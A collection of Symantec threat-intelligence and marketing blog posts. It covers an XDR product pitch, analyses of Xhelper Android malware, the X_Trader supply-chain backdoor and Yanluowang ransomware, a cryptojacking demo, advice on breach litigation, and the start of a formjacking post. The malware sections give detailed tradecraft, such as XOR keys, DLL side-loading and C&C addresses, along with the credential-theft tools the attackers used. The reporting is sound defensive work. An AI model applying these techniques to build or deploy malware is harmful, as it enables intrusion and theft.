There’s a vast quantity of threat information out there -- too much for mere humans to keep track of. By aggregating, correlating and automating through XDR, then integrating through point-to-point solutions, we free up your cyber security experts to do the work they’re trained to do by reducing noise and focusing on true positives that have been enhanced with intelligence. By leveraging ML, we help you automate 80% of the work, which enables your analysts to focus on the remaining 20%. And that 20% is typically the most important threat data. It’s our way of making those valuable experts more efficient and effective – and helping to keep your organization’s precious data safe.
Symantec Integrated Cyber Defense
|
XDR: Helping Keep Your Users Safe
Control points share information for automatic remediation
Keeping your data safe never gets easy. Take the case of a major enterprise platform that was compromised by malicious code. Cyber security specialists thought they had mitigated the threat, but it kept coming back. That’s because the threat remained in the network, despite efforts to eradicate it.
Unfortunately, the same could happen to you, unless you establish a cyber security defense that enables different control points to talk to one another. Without an information sharing network, a threat can effectively hide, only to re-emerge repeatedly.
At Symantec, a division of Broadcom (NASDAQ: AVGO), ICD is our strategy for simplifying and uniting cyber security tools.
Symantec’s ICD (Integrated Cyber Defense) platform functioning as a core component of Symantec’s XDR can help you set up such an information-sharing network. At Symantec, a division of Broadcom (NASDAQ: AVGO), ICD is our strategy for simplifying and uniting cyber security tools. ICD builds on Endpoint Detection and Response (EDR), adding telemetry streams from multiple control points. ICD also normalizes and aggregates data. When an incident happens, ICD enables you to identify it across all control points: network, email, cloud, and endpoint. You can observe how the malware got in, how long it stayed, and what it did.
For this blog I'll explain how a few foundational pieces of ICD, network scanning and EDR, integrate and why even with automation, the human element remains important. When a threat attempts to compromise a network, here's how ICD detects and responds:
At the network:
Step 1 – The network control point, in this case a Web Gateway, receives a file as part of a download. The reality is that any type of termination point, such as mail gateways, file storage appliances, or web application firewalls, can be a termination point.
Step 2 – Files are extracted in their entirety and sent to Symantec’s Content Analysis System (CAS) first stage for scanning. (Symantec's CAS is a platform that can integrate with many technologies such as web gateways, mail gateways, and file storage solutions to scan and mitigate threats without allowing users access to a single byte of the malicious file until it is deemed safe). This is a multi-stage scan utilizing three distinct detection methods in a specific order to reduce the number of files scanned by each subsequent process:
Hash Reputation - Verifying content against a known good / known bad hash lists
Predictive File Analysis - Static code analysis, Machine Learning
Antimalware/Antivirus - Traditional antivirus signatures. Up to two different vendors can be used for this scan increasing the number of vendors that can scan content.
Step 3 – Unknown files are sent to the second stage of CAS, the sandbox. Sandboxing can be an active inline tool in this process since it's only analyzing unknown files. All known good and known bad files are handled by earlier steps. Telemetry of the sandboxing is sent to the requesting service for it to decide what to do. In the case of our termination points, they deny any malicious files automatically.
Response
Step 4 – CAS sends file telemetry to Symantec Endpoint Protection Manager to disseminate to all endpoints. Endpoints are now alerted to the new malicious file, can scan for and isolate the file across any endpoint, anywhere in the world.
Step 5 – CAS also sends a report of the sandbox to Security Analytics (SA), a recorder of data on the network, which retains full packet histories for investigation, file scanning and verification against third party entities. SA constantly records traffic to create a historical record and acts as a single source of intelligence for SOC personnel.
Step 6 – An investigation can then begin with deeply enriched data from SA.
The Human Element
Much is made of automation – and automation is absolutely necessary. There are too many threats to deal with manually, and qualified cyber security experts are expensive and hard to find. However, the human element of cyber defense will never go away. In fact, you could consider human involvement Step 6.
The important thing is to make sure that when a SOC analyst does become involved, his or her time is well spent. ICD makes sure this is the case. For example, once a breach has occurred and has been mitigated, a SOC analyst should examine what happened to make sure it won’t happen again. The response to one attack can form the basis of a threat-hunting exercise for a future attack. Your overall defense is improved because you can discover vulnerabilities before compromise occurs.
Making XDR Work for You
As you can see, the sharing of information between control points, endpoints and the SOC analyst enables a thorough examination and understanding of content. And feeding information back to the endpoints for remediation helps prevent malware from reappearing or spreading further.
In the future, XDR will be able to aggregate even more information, including Symantec Information-Centric Analytics (ICA) and feeding that telemetry into the security tools or control points to make automated decisions. XDR has an open ended outcome. Tools will be designed to share telemetry that we haven’t yet conceived. Being able to automate intelligent decisions within the security stack is going to be an ever changing situation and one I’m welcoming in the future.
|
Xhelper: Persistent Android Dropper App Infects 45K Devices in Past 6 Months
Malicious app hides itself, downloads other threats, displays ads, and is mainly targeting users in India, U.S., and Russia.
Symantec has observed a surge in detections for a malicious Android application that can hide itself from users, download additional malicious apps, and display advertisements. The app, called Xhelper, is persistent. It is able reinstall itself after users uninstall it and is designed to stay hidden by not appearing on the system’s launcher. The app has infected over 45,000 devices in the past six months.
We have seen many users posting about Xhelper on online forums, complaining about random pop-up advertisements and how the malware keeps showing up even after they have manually uninstalled it.
Figure 1. Users complain on forums about Xhelper (Top: Google, Bottom: Reddit)
Xhelper in action
Xhelper does not provide a regular user interface. The malware is an application component, meaning it won’t be listed in the device’s application launcher (see Figure 2). This makes it easier for the malware to perform its malicious activities undercover.
Figure 2. Code used to remove app from application launcher (top) and list app in launcher (bottom)
Xhelper can’t be launched manually since there is no app icon visible on the launcher. Instead, the malicious app is launched by external events, such as when the compromised device is connected to or disconnected from a power supply, the device is rebooted, or an app is installed or uninstalled.
Figure 3. Xhelper’s manifest code showing the events that will trigger the malware
Once launched, the malware will register itself as a foreground service, lowering its chances of being killed when memory is low. For persistence, the malware restarts its service if it is stopped; a common tactic used by mobile malware.
Figure 4. Xhelper registers itself as a foreground service and restarts the service if it is stopped
Once Xhelper gains a foothold on the victim’s device, it begins executing its core malicious functionality by decrypting to memory the malicious payload embedded in its package. The malicious payload then connects to the attacker’s command and control (C&C) server and waits for commands. To prevent this communication from being intercepted, SSL certificate pinning is used for all communication between the victim’s device and the C&C server.
Figure 5. Xhelper code containing SSL certificate-pinning feature
Upon successful connection to the C&C server, additional payloads such as droppers, clickers, and rootkits, may be downloaded to the compromised device. We believe the pool of malware stored on the C&C server to be vast and varied in functionality, giving the attacker multiple options, including data theft or even complete takeover of the device.
Figure 6. HTTP POST request made by Xhelper to get configuration to download payload (C&C server address in red)
The rise of Xhelper
We first began seeing Xhelper apps in March 2019. Back then, the malware’s code was relatively simple, and its main function was visiting advertisement pages for monetization purposes. The code has changed over time. Initially, the malware’s ability to connect to a C&C server was written directly into the malware itself, but later this functionality was moved to an encrypted payload, in an attempt to evade signature detection. Some older variants included empty classes that were not implemented at the time, but the functionality is now fully enabled. As described previously, Xhelper’s functionality has expanded drastically in recent times.
We strongly believe that the malware’s source code is still a work in progress. For example, we spotted many classes and constant variables labeled as “Jio”, indicating possible future interest in Jio users, the largest 4G network in India. However, we have no evidence that Jio users are at risk at this time. Jio customers with JioSecurity installed on their devices are protected from these malicious apps. JioSecurity, which is powered by Norton Mobile Security, is available to Jio customers for free from the MyJio app.
Figure 7. Classes and packages in Xhelper source code mention Jio
Xhelper download sources
None of the samples we analyzed were available on the Google Play Store, and while it is possible that the Xhelper malware is downloaded by users from unknown sources, we believe that may not be the only channel of distribution.
From our telemetry, we have seen these apps installed more frequently on certain phone brands, which leads us to believe that the attackers may be focusing on specific brands. However, we believe it to be unlikely that Xhelper comes preinstalled on devices given that these apps don’t have any indication of being system apps. In addition, numerous users have been complaining on forums about the persistent presence of this malware on their devices, despite performing factory resets and manually uninstalling it. Since it is unlikely that the apps are systems apps, this suggests that another malicious system app is persistently downloading the malware, which is something we are currently investigating (keep an eye on the Threat Intelligence blog for more on this).
Figure 8. Users complaining about being unable to permanently uninstall Xhelper
Xhelper infections
According to our telemetry, at least 45,000 devices have been impacted by the Xhelper malware. In the past month alone, there was an average of 131 devices infected each day, and an average of 2,400 devices persistently infected throughout the month. The malware mostly affects users in India, the U.S. and Russia.
Protection/Mitigation
Symantec and Norton products detect these malicious apps as the following:
Android.Malapp
We advise users to take the following precautions:
Keep your software up to date.
Do not download apps from unfamiliar sites.
Only install apps from trusted sources.
Pay close attention to the permissions requested by apps.
Install a suitable mobile security app, such as Norton or Symantec Endpoint Protection Mobile, to protect your device and data.
Make frequent backups of important data.
Indicators of Compromise
File Attachments
Xhelper IOCsTXT11.14 KB
|
X_Trader Supply Chain Attack Affects Critical Infrastructure Organizations in U.S. and Europe
North Korean-linked operation affected more organizations beyond 3CX, including two critical infrastructure organizations in the energy sector.
The X_Trader software supply chain attack affected more organizations than 3CX. Initial investigation by Symantec’s Threat Hunter Team has, to date, found that among the victims are two critical infrastructure organizations in the energy sector, one in the U.S. and the other in Europe. In addition to this, two other organizations involved in financial trading were also breached.
As reported yesterday by Mandiant, Trojanized X_Trader software was the cause of the 3CX breach, which was uncovered last month. As a result of this breach, 3CX’s software was compromised, with many customers inadvertently downloading malicious versions of the company’s voice and video calling software DesktopApp. In addition to wider victims, Symantec has also discovered additional indicators of compromise, listed below.
It appears likely that the X_Trader supply chain attack is financially motivated, since Trading Technologies, the developer of X_Trader, facilitates futures trading, including energy futures. Nevertheless, the compromise of critical infrastructure targets is a source of concern. North Korean-sponsored actors are known to engage in both espionage and financially motivated attacks and it cannot be ruled out that strategically important organizations breached during a financial campaign are targeted for further exploitation.
Malicious Installer
The infection chain starts with the Trojanized installer named X_TRADER_r7.17.90p608.exe (SHA256: 900b63ff9b06e0890bf642bdfcbfcc6ab7887c7a3c057c8e3fd6fba5ffc8e5d6), which is digitally signed by "Trading Technologies International, Inc." and contains a malicious executable named Setup.exe. Our analysis of one version of this executable (SHA256: aa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43) found that when executed, it examined the file named X_TRADER-ja.mst (also contained in the installer) for the following marker bytes at hardcoded offset 0x167000:
5E DA F3 76
If the marker bytes are present, it creates a folder named:
C:\Programdata\TPM
It then copies the file C:\Windows\Sysnative\immersivetpmvscmgrsvr.exe as C:\Programdata\TPM\TpmVscMgrSvr.exe to the new folder.
Next, it will drop two malicious DLLs:
C:\Programdata\TPM\winscard.dll (SHA256: cc4eedb7b1f77f02b962f4b05278fa7f8082708b5a12cacf928118520762b5e2)
C:\Programdata\TPM\msvcr100.dll (SHA256: d937e19ccb3fd1dddeea3eaaf72645e8cd64083228a0df69c60820289b1aa3c0)
The content of the dropped files is generated by decrypting chunks of the file X_TRADER-ja.mst mentioned earlier using the XOR algorithm with the following key:
74 F2 39 DA E5 CF
To achieve persistence on the victim’s system, the malware invokes a CLSID_TaskScheduler COM object, possibly to create a scheduled task to run periodically the following file:
C:\Programdata\TPM\TpmVscMgrSvr.exe
Setup.exe then drops a file named X_TRADER.exe, also contained within the installer. The content of the dropped file is generated by decrypting chunks from one of its own portable executable resources starting at hardcoded offset 0x1CB40 using the XOR algorithm with the following key:
74 F2 39 DA E5 CF
Setup will then execute X_Trader.exe before deleting itself.
Backdoor Installation
Once installed, the legitimate X_Trader executable side-loads the two malicious DLLs dropped by the installer. The first, winscard.dll, acts as a loader and contains code that will load and execute a payload from the second (msvcr100.dll). The msvcr100.dll file contains an encrypted blob appended to the file. The blob starts with the hex value FEEDFACE, which the loader uses to find the blob.
The process for payload installation is almost identical as that seen with the Trojanized 3CX app, where two side-loaded DLLs are used to extract a payload from an encrypted blob.
In this attack, the payload extracted is a modular backdoor called Veiledsignal (SHA256: e185c99b3d1085aed9fda65a9774abd73ecf1229f14591606c6c59e9660c4345). Veiledsignal contains another DLL (SHA256: 19442d9e476e3ef990ce57b683190301e946ccb28fc88b69ab53a93bf84464ae), which is a process-injection module. This can be injected into the Chrome, Firefox, or Edge web browsers. The module contains a second DLL (SHA256: f8c370c67ffb3a88107c9022b17382b5465c4af3dd453e50e4a0bd3ae9b012ce), which is a command-and-control (C&C) module. It connects to the following C&C URL:
https://www.tradingtechnologies.com/trading/order-management
Hydra-like Campaign
The discovery that 3CX was breached by another, earlier supply chain attack made it highly likely that further organizations would be impacted by this campaign, which now transpires to be far more wide-ranging than originally believed. The attackers behind these breaches clearly have a successful template for software supply chain attacks and further, similar attacks cannot be ruled out.
Protection/Mitigation
For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise
If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.
900b63ff9b06e0890bf642bdfcbfcc6ab7887c7a3c057c8e3fd6fba5ffc8e5d6 - Trojanized installer (X_TRADER_r7.17.90p608.exe)
6e989462acf2321ff671eaf91b4e3933b77dab6ab51cd1403a7fe056bf4763ba – Possible Trojanized installer
aa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43 - Malicious component of Trojanized installer (setup.exe)
6e11c02485ddd5a3798bf0f77206f2be37487ba04d3119e2d5ce12501178b378 - Malicious component of Trojanized installer (setup.exe)
47a8e3b20405a23f7634fa296f148cab39a7f5f84248c6afcfabf5201374d1d1 - Benign Windows executable used for side-loading (tpmvscmgrsvr.exe)
cc4eedb7b1f77f02b962f4b05278fa7f8082708b5a12cacf928118520762b5e2 – Veiledsignal loader (winscard.dll)
277119738f4bdafa1cde9790ec82ce1e46e04cebf6c43c0e100246f681ba184e – Veiledsignal loader (devobj.dll)
cb374af8990c5f47b627596c74e2308fbf39ba33d08d862a2bea46631409539f – Malicious DLL (msvcr100.dll)
d937e19ccb3fd1dddeea3eaaf72645e8cd64083228a0df69c60820289b1aa3c0 – Malicious DLL (msvcr100.dll)
e185c99b3d1085aed9fda65a9774abd73ecf1229f14591606c6c59e9660c4345 - Veiledsignal main component
19442d9e476e3ef990ce57b683190301e946ccb28fc88b69ab53a93bf84464ae - Veiledsignal process-injection module
f8c370c67ffb3a88107c9022b17382b5465c4af3dd453e50e4a0bd3ae9b012ce - Veiledsignal communications module
https://www.tradingtechnologies[.]com/trading/order-management - Veiledsignal C&C server
\\.\pipe\gecko.nativeMessaging.in.foo8bc16e6288f2a -Veiledsignal named pipe
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.40 - Veiledsignal user agent
|
Yanluowang: Further Insights on New Ransomware Threat
At least one attacker now using Yanluowang may have previously been linked to Thieflock ransomware operation.
Yanluowang, the ransomware recently discovered by Symantec, a division of Broadcom Software, is now being used by a threat actor that has been mounting targeted attacks against U.S. corporations since at least August 2021. The attacker uses a number of tools, tactics, and procedures (TTPs) that were previously linked to Thieflock ransomware attacks, suggesting that they may have been a Thieflock affiliate who shifted allegiances to the new Yanluowang ransomware family.
The attackers have been heavily focused on organizations in the financial sector but have also targeted companies in the manufacturing, IT services, consultancy, and engineering sectors.
Lateral movement
In most cases, PowerShell is used to download tools to compromised systems including BazarLoader to assist in reconnaissance. The attackers then enable RDP via registry to enable remote access. After gaining initial access, the attackers usually deploy ConnectWise (formerly known as ScreenConnect), a legitimate remote access tool.
In order to perform lateral movement and identify systems of interest, such as the victim’s Active Directory server, the attackers deploy Adfind, a free tool that can be used to query Active Directory, and SoftPerfect Network Scanner (netscan.exe), a publicly available tool used for discovery of hostnames and network services.
The next phase of the attack is credential theft and the attackers use a wide range of credential-stealing tools, including:
GrabFF: A tool that can dump passwords from Firefox
GrabChrome: A tool that can dump passwords from Chrome
BrowserPassView: A tool that can dump passwords from Internet Explorer and a number of other browsers
Along with these tools, the attackers also use a number of open-source tools such as KeeThief, a PowerShell script to copy the master key from KeePass. In some cases, customized versions of open-source credential-dumping tools were also observed (secretsdump.exe). Credentials were also dumped from the registry.
In addition, the attackers have also used a number of other data capture tools, including a screen capture tool and a file exfiltration tool (filegrab.exe). Cobalt Strike Beacon was also deployed against at least one targeted organization.
Other tools used include ProxifierPE, which can be used to proxy connections back to attacker-controlled infrastructure, and the free, Chromium-based Cent web browser.
The Thieflock connection
There is a tentative link between these Yanluowang attacks and older attacks involving Thieflock, ransomware-as-a-service developed by the Canthroid (aka Fivehands) group. Several TTPs used by these attackers overlap with TTPs used in Thieflock attacks, including:
Use of custom password recovery tools such as GrabFF and other open-source password dumping tools
Use of open-source network scanning tools (SoftPerfect Network Scanner)
Use of free browsers, such as s3browser and Cent browser
This link begs the question of whether Yanluowang was developed by Canthroid. However, analysis of Yanluowang and Thieflock does not provide any evidence of shared authorship. Instead, the most likely hypothesis is that these Yanluowang attacks may be carried out by a former Thieflock affiliate.
Protection
For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise
a710f573f73c163d54c95b4175706329db3ed89cd9337c583d0bb24b6a384789 – NetScan
2c2513e17a23676495f793584d7165900130ed4e8cccf72d9d20078e27770e04 – Adfind
43f8a66d3f3f1ba574bc932a7bc8e5886fbeeab0b279d1dea654d7119e80a494 – BazarLoader
9aa1f37517458d635eae4f9b43cb4770880ea0ee171e7e4ad155bbdee0cbe732 – Veeamp
85fb8a930fa7f4c32c8af86aa204eb4ea4ae404e670a8be17e7ae0adf37a9e2e – GrabFF
e4942fde1cd7f2fcfb522090fd16298bce247295fe99182aecf7b10be3f5dc53 – ConnectwiseInstaller
fe38912d64f6d196ac70673cd2edbdbc1a63e494a2d7903546a6d3afa39dc5c4 – WmiExecAgent
c77ff8e3804414618abeae394d3003c4bb65a43d69c57c295f443aeb14eaa447 – NetScan
2fc5bf9edcfa19d48e235315e8f571638c99a1220be867e24f3965328fe94a03 – Secretsdump
4ff503258e23d609e0484ee5df70a1db080875272ab6b4db31463d93ebc3c6dd – GrabFile
1c543ea5c50ef8b0b42f835970fa5f553c2ae5c308d2692b51fb476173653cb3 – GrabChrome
0b9219328ebf065db9b26c9a189d72c7d0d9c39eb35e9fd2a5fefa54a7f853e4 – OpenChromeDumps
b556d90b30f217d5ef20ebe3f15cce6382c4199e900b5ad2262a751909da1b34 – BrowserPassView
5e03cea2e3b875fdbf1c142b269470a9e728bcfba1f13f4644dcc06d10de8fb4 – ConHost
49d828087ca77abc8d3ac2e4719719ca48578b265bbb632a1a7a36560ec47f2d – Yanluowang
myeeducationplus.com
185.53.46.115
Symantec Enterprise Blogs
YOU MIGHT ALSO ENJOY
2 MIN READ
New Yanluowang Ransomware Used in Targeted Attacks
New arrival to the targeted ransomware scene appears to be still in development.
|
Yes, We Used a Router to Fry an Egg and Here’s Why
As attackers turn to cryptojacking to make money, they’re adding wear and tear to your devices – and raising the risk of a meltdown
If chef Gordon Ramsay ever finds himself short of pots and pans, he can always whip up a quick meal with the help of a router.
That’s what we did at Black Hat USA 2018 at the Mandalay Bay Convention Center in Las Vegas this week, frying an egg on top of a generic router at the Symantec booth. It took about 10 minutes to get an egg to sizzle on top of a dangerously hot piece of hardware. While our team didn’t convince any passersby to trade in their favorite grills, there was a serious purpose behind our fun simulation.
We were on hand to show one of the more dramatic consequences of being cryptojacked. Cryptojacking is an attack where a cyber criminal hijacks your machine – PCs, cloud-based servers, smartphones and IoT devices – in order to use the processing power without your permission to mine for cryptocurrency. What was important to demonstrate with our simulation was to visually show why everyone should take cryptojacking seriously. While most users may be unaware about the heat that a device can generate through cryptomining, the temperatures can be painfully hot to the touch. Indeed, the generic router we used in our tests reached 150 degrees Fahrenheit. That’s hot enough to cook not just eggs, but also meat, poultry and fish.
Cryptojacking affects both consumers and enterprises, and our simulation was meant to educate everyone on the dangers associated with this emerging threat. Attackers are using your electricity and resources without you knowing and they’re profiting from it.
For consumers, malicious cryptominers can slow devices, overheat batteries, and in some cases, render devices unusable. For enterprises, malicious cryptominers can put corporate networks at risk of shutdown and inflate cloud CPU usage, adding cost.
Brian Varner at the Symantec Cryptojacking demo at Black Hat
A Threat Long in the Making
To understand cryptojacking, one must understand the origins of cryptomining, which refers to the practice of using a device’s computing power to solve a predetermined math problem and earn a piece of cryptocurrency.
Some trace the cryptomining phenomenon to the 2011 release of Bitcoin Plus, which deployed JavaScript code for pooled mining. Fast-forward to today, and website owners are signing up for the service and then embedding mining scripts into web pages and network traffic to make page visitors mine for them. The subsequent debut of a cryptocurrency called Monero also contributed to the popularity of cryptomining. Monero was designed to be mined on low-powered devices and could work inside of a web browser without needing special software.
By the latter part of 2017, though, cryptomining boomed as the price of popular cryptocurrencies, such as Bitcoin and Ethereum, skyrocketed. There was money to be made, the price of entry was negligible and the ability to fly under the radar made it a prized weapon for attackers. Enter cryptojacking.
And, as Symantec’s 2018 Internet Security Threat Report (ISTR) explains, consumers and enterprises should prepare for even more attacks. Here’s why:
Low barrier to entry: Symantec observed an 8,500 percent increase in cryptojacking attacks last year. You don’t need a lot of technical skill. It only requires a couple lines of code to operate a malicious cryptominer.
IoT devices are ripe targets for exploitation: Symantec found a 600 percent increase in IoT attacks in 2017, which means that cyber criminals could exploit the connected nature of these devices to mine en masse.
Macs are not immune: In 2017, Symantec detected an 80 percent increase in cryptojacking attacks against Mac OS. By leveraging browser-based attacks, cyber criminals do not need to download malware to a victim’s Mac to carry out cyber attacks.
Worst-Case Scenarios
So, what could go wrong? A lot.
As attackers leverage infected systems for cryptojacking, they increase the stress put on servers and endpoints, including telephones, switches and routers.
And while cryptojacking is thought of as an attack affecting consumers, cyber criminals have moved to the targeting of enterprises. By spreading though a corporate network, attackers can compromise hundreds of powerful machines and potentially make a bigger profit.
Imagine a data center full of machines overheating. It may not be equipped to handle devices that reach 100 percent utilization in mere seconds. Most data centers were not designed to run at maximum 24x7 capacity. Malicious cryptominers put massive amounts of wear and tear on units that were not built to handle that sort of workload. Not to mention the increased risk in interrupted business operations.
Consumers also need to consider that their laptops and desktops, as well as their mobile and IoT devices are some of the most popular targets for cryptojacking.
It’s not hard to imagine that even if 20 percent of a large data center was taken over by malicious cryptominers, it could mean cascading outages due to loss of cooling capacity or even power. Unfortunately, many devices that wind up deployed in network environments get insufficient attention when it comes to security features, such as thermal overload protection. So, when these devices get shoved into corners without adequate air circulation, there are higher odds of melting down.
Besides the heightened risk of overheating and malfunctions occurring with devices that are cryptojacked, consider how consumers might be impacted if a cell phone is now working at maximum capacity around the clock and becomes unresponsive. Imagine what happens when there’s an emergency requiring you to dial 911. If your phone isn’t immediately responsive or needs a reboot, what then? Or imagine a device in your purse or pocket that’s hot enough to cook an egg. Those scenarios have potentially dangerous implications for consumers.
Consumers also need to consider that their laptops and desktops, as well as their mobile and IoT devices are some of the most popular targets for cryptojacking. Browser-based cryptominers (which involves coinmining on a web browser) can generate around 1 cent per 24 hours, whereas file-based cryptominers (which involves downloading and running a dedicated executable file on your computer) can generate 25 cents per day. This means a botnet of 10,000 infected machines can generate up to $75,000 per month. Of course, the amount of money generated fluctuates with the price of cryptocurrencies.
A cryptocurrency miner is not a virus and it’s not malware. It’s the way it could be used that turns it malicious. Many people engage in the activity legally. But some may fall to the temptation of using “spare” company resources, failing to connect the dots and understand the ramifications of cryptojacking. They may not feel that they’re doing anything wrong by stealing processing power of a device, just as in the past many people didn’t believe they were stealing music when they were illegally downloading MP3 files from Napster. But if someone’s cryptojacking, they’re still putting wear and tear on that machine and shortening its longevity.
Or, in our case, frying an egg.
Visit Us at Black Hat
To learn more about our cryptojacking simulation, visit us at booth #912 at Black Hat where you can view the simulation during Business Hall hours (10 a.m. – 7 p.m. PT on Wednesday, August 8 and 10 a.m. – 5 p.m. PT on Thursday, August 9).
Best Practices
To make sure your devices aren’t compromised, we recommend the following:
Consumers:
Install a strong internet security software suite to help protect against cryptojacking threats as well as phishing attacks, malicious attachments and links.
Educate yourself on cryptojacking and consider installing ad-blocking or anti-cryptomining extensions on web browsers for an extra layer of protection against potentially unwanted applications (PUA). As always, be sure to remain wary of phishing emails, unknown attachments, and dubious links.
Install the latest patches on your devices, use strong passwords and enable two-factor authentication.
Enterprises:
Know your environment. Be aware how frequently end users report slow performance. React and investigate for miners if complaints increase.
Defend web servers to prevent an attacker from adding Coinhive-style mining scripts to your websites.
Apply all available vendor patches. Many miners that gain entry to an organization can move and execute by exploiting vulnerabilities for which patches already exist.
Monitor network logs (IPS logs, DNS logs, firewall logs) for suspicious outgoing connections to mining-related IP addresses. Block these addresses at the corporate firewall, and consider suspicious any computer that continues to access those addresses.
Lock down RDP access and frequently replace all user passwords—especially users with admin access—with new, strong passwords.
Run a recent release of PowerShell (5 or higher), and configure it to log detailed activity.
Secure your computers' built-in Windows Management Instrumentation (WMI). Attackers, including those seeking to mine coins, increasingly abuse this technology. Administrators should consider creating Group Policy Objects (GPO) or firewall rules to prevent unauthorized remote WMI actions, and perhaps control access by user accounts. See Microsoft's guidance in Maintaining WMI Security.
Black Hat 2018: We Used a Router to Fry an Egg
|
Yes, You Bungled that Breach Response. What Were You Thinking?
Litigation experts point to do’s and don’ts that will impact an organization’s ultimate liability in the event of a data breach
The RSA Conference 2021 Virtual Experience is happening May 17-20 and Symantec, as a division of Broadcom, will be providing a summary of some of the leading stories from the conference to help you stay informed.
You just got breached.
A trove of coveted customer and company data is now in attackers’ hands. Furious customers are flooding your phone bank, hoping to learn whether their personal information is now up for sale on the Dark Web. Your brand’s once-stellar reputation is now getting trashed 24/7 as the media report the embarrassing state of affairs.
Now for the bad news.
You’re going to get sued. But not every judgment needs to end up scraping your coffers clean. In fact, breach litigators speaking at the RSA Conference 2021 said there are steps that organizations should – and shouldn’t – take before and after a data breach. Make the wrong decision and you can easily make a bad situation even worse.
“There are a lot of things that companies do to make their problems worse, which are avoidable with a little bit of thought and planning,” said John Hauser, a Principal with Ernst & Young and a former Special Agent in the Cyber Division of the FBI
Treat Communications with Care
“Remember when you're using Slack or texts or any other app, you're not writing in invisible ink,” said Marie Mortimer, a partner with Hunton Andrews Kurth who specializes in commercial litigation. “Most plaintiff's attorneys are casting a very wide net when it comes to discovery. So they're going to ask for the dreaded ‘all information.’ We're not just talking about formal reports or considered communications. We're talking about communications that happen in the heat of the moment of an incident.”
In general, these off channel forms of communication can turn into real gold for someone trying to reconstruct a scenario, particularly if they seek to make a case that the company was already aware of a security vulnerability or didn't respond adequately or quickly enough. And don’t think about getting cute. Those documents will get produced during discovery.
“While it's hard to adopt that mindset in the moment,” she said, “you need to start disciplining yourself now so that when you get to litigation that email you fired off in the heat of the moment doesn't come back to haunt you in a deposition where suddenly you find yourself center stage being deposed and asked questions about an email that you never intended to have significance that it later takes on.”
Make the wrong decision and you can easily make a bad situation even worse.
That extends to heat-of-the-moment, gallows humor, which is very common in security circles. The quickest way to find yourself in front of a lawyer is by firing off one of those texts or Slack channels talking about your security being akin to Swiss cheese or anything that refers to the security posture of the company in a way that's negative or could be perceived as negative.
“Anything that refers to the threat as recurring or anticipated – maybe even five words that end up having a consequence that you never intended to attach to them,” she said. “So before you hit ‘send’ on that message, think to yourself, how would I feel if that was blown up into giant font and posted in the middle of Times Square.”
Fellow panelist Brian Levine, a managing director at Ernst & Young and a former cyber crime prosecutor at the U.S. Justice Department, added that sometimes it's not the specific words someone uses, but the toxic tone.
“People just can be nervous in these situations and some of the nervousness or whatever other emotions are involved will just come out in their texts and their emails,” he said. “I've seen numerous instances where a case was going nowhere. It was going to be dismissed…and then for whatever reason, emails come out and civil litigation ends up doing a 180 and now everything is bad. So, it does matter.”
Keeping Stakeholders Informed
After a data breach discovery, who needs to get notified and in what order of priority? There's no single, uniform answer. In fact, there are competing tensions at play. While you want to communicate in a timely fashion with all stakeholders – impacted business partners, consumers, regulators – the clock starts running right from the moment you become aware of a breach.
“There are litigation consequences to whether or not you delayed notification,” said Mortimer. So, on the one hand, you're under pressure to deliver a message in a timely way, but the competing or counterbalance pressures, you want to be accurate in those communications. Because sometimes you overstate or understate the incident if you're working on limited information.”
Ultimately, she said, it’s a balancing act.
While you want to communicate in a timely fashion with all stakeholders – impacted business partners, consumers, regulators – the clock starts running right from the moment you become aware of a breach.
“Don’t delay too long before responding but try to get some information to make sure you feel relatively certain,” she said. “And then in the communication be transparent about the fact that the facts are continuing to evolve. So, leave yourself some room if different facts develop, but timeliness, accuracy, and transparency are key rules when communicating with your stakeholders.”
That means considering all the possible reporting obligations – not the least of whom include a veritable alphabet soup of possible regulators. “And you need to make sure you're considering all of that,” according to Mortimer. “A lot of this comes down to communication and appropriate escalation, which should be built into your incident response plan to make sure the appropriate internal stakeholders are involved early on and that the lines of communication are open. So those are some of the things that I think about right away when trying to consider how do I make sure that a bad situation doesn't get worse and get away from me.”
Incident Response
In the wake of a data breach, an incident response team will publish a narrative describing how the attack happened, the security flaws responsible for the breach and what the organization needs to be doing to prevent similar attacks.
Unfortunately, the reports are not always carefully written, according to Levine. In fact, he said, they may only be preliminary drafts based on initial impressions and so, not completely accurate.
“They may tend to suggest blame, for the incident, which is really unhelpful. They may identify a bunch of things that the company should have done but didn't do. And they may go beyond where they need to go,” he said. “As a result, the plaintiffs in a data breach suit are almost always going to request a copy of any incident response reports in discovery, and that can be a problem.”
One suggestion offered by Mortimer was to adopt a `Dragnet’ approach to the report, knowing that it will inevitably become part of any data breach litigation.
“Just the facts, Ma'am,” she said. “It doesn't have things like extraneous assessments. It doesn't have what the (legal) counsel asked you to do. It doesn't have recommendations that aren't core to the actual underlying facts of the breach.”
Get to Know Law Enforcement
Developing relationships with law enforcement in advance of a breach can be super-helpful, noted Hauser. “We always recommend developing a relationship with your local cyber agents. So, you go on the FBI's website. Find the field office nearest to you or to your clients and have conversations in advance. Get to meet a cyber agent, such that you have their personal information or their card with you at all times.”
At the very least, they can prove to be great sources of information to help you respond to breaches.
“What we found is if you have no relationship in advance and if you have a ransomware attack and then you reach out, you may hear nothing in the timeframe that you would need to for it to be helpful,” Levine said. “Whereas if you have a personal relationship in this example, you can reach out right away.”
|
You Better Watch Out: Online and Offline Threats Endanger Payment Card Data
Cyber attackers are using old tricks and new to steal customers’ payment card details from retailers this shopping season.
As we enter the busiest shopping period of the year, both offline and online retailers and consumers are facing risks to the security of their payment card data.
Formjacking has surged in 2018—with Symantec blocking almost 700,000 formjacking attempts from mid-September to mid-November alone. This surge in formjacking is one of the big stories of 2018—with attackers like Magecart using supply chain attacks and other tactics to inject malicious scripts into websites to steal payment card information.
There have also been attacks on point-of-sale (PoS) systems in bricks-and-mortar stores this year, though none so far that compare to the mega breaches of earlier this decade, which saw tens of millions of credit cards compromised in a single breach.
Point of sale, point of weakness
